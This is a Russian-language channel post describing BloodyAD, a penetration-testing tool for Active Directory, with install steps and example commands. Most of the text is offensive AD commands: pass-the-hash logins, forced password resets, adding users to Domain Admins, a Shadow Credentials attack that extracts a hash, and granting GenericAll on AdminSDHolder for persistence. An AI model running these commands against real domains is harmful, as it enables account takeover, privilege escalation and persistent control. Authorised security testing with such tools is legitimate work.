BloodyAD — инструмент, выполняющий специализированные LDAP-запросы к контроллеру домена. Поддерживает аутентификацию с использованием паролей в открытом виде, Pass-the-Hash, Pass-the-Ticket и сертификатов, обеспечивая гибкие возможности для тестирования безопасности AD-инфраструктур.
👉BloodyAD предоставляет возможность выполнять привилегированные операции через LDAP-протокол. Инструмент отличается следующими характеристиками:
▶️множество методов аутентификации (NTLM (пароль/хеш), Kerberos, сертификаты (Schannel, PKINIT))
▶️прозрачная работа через SOCKS-прокси
▶️поддержка LDAPS и шифрования
▶️интеграция с DNS-функциями Active Directory
▶️гибкая система команд для управления объектами AD
⬇️Установка
pipx install bloodyad
Проверка
bloodyad -h
⏺️Аутентификация с паролем (NTLM)
bloodyAD --host 192.168.1.10 -d bloody.local -u john.doe -p 'Password123!' get object user john.doe
⏺️Pass-the-Hash аутентификация
bloodyAD --host dc01.corp.local -d corp.local -u administrator -p :70016778cb0524c799ac25b439bd6a31 get group "Domain Admins"
⏺️Смена пароля пользователя
bloodyAD --host 172.16.1.15 -d bloody.local -u admin -p 'Admin123!' set password john.doe 'NewP@ssw0rd!'
⏺️Получение информации о пользователе
bloodyAD --host dc.corp.local -d corp.local -u user -p 'Password' get object user administrator --json
⏺️Добавление пользователя в группу
bloodyAD --host dc.corp.local -d corp.local -u admin -p 'Admin123!' add groupmember "Domain Admins" john.doe
⏺️Удаление пользователя из группы
bloodyAD --host dc.corp.local -d corp.local -u admin -p 'Admin123!' remove groupmember "Domain Admins" john.doe
⏺️Shadow Credentials (атака на основе сертификатов)
#добавление теневых учетных данных для пользователя
bloodyAD --host dc.corp.local -d corp.local -u admin -p 'Admin123!' add shadowCredentials john.doe
#получение хеша из теневых учетных данных
bloodyAD --host dc.corp.local -d corp.local -u admin -p 'Admin123!' get shadowCredentials john.doe
⏺️Изменение атрибутов безопасности
#добавление GenericAll права для пользователя на объект
bloodyAD --host dc.corp.local -d corp.local -u admin -p 'Admin123!' set genericall john.doe "CN=AdminSDHolder,CN=System,DC=corp,DC=local"
⏺️Поиск объектов с заданными атрибутами
bloodyAD --host dc.corp.local -d corp.local -u user -p 'Password' get search "(&(objectClass=user)(adminCount=1))"
⏺️Получение всех пользователей с непередаваемыми учетными записями
bloodyAD --host dc.corp.local -d corp.local -u user -p 'Password' get search "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
🎇Ограничения и требования
- Для выполнения привилегированных операций требуются соответствующие права в AD
- Необходим доступ к портам LDAP (389/636) и, при необходимости, к Kerberos (88)
- Поддерживаются современные версии Python 3
- Кроссплатформенный инструмент (Windows, Linux, macOS)
#ActiveDirectory #AD #LDAP #BloodyAD #tool #pentest
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджером
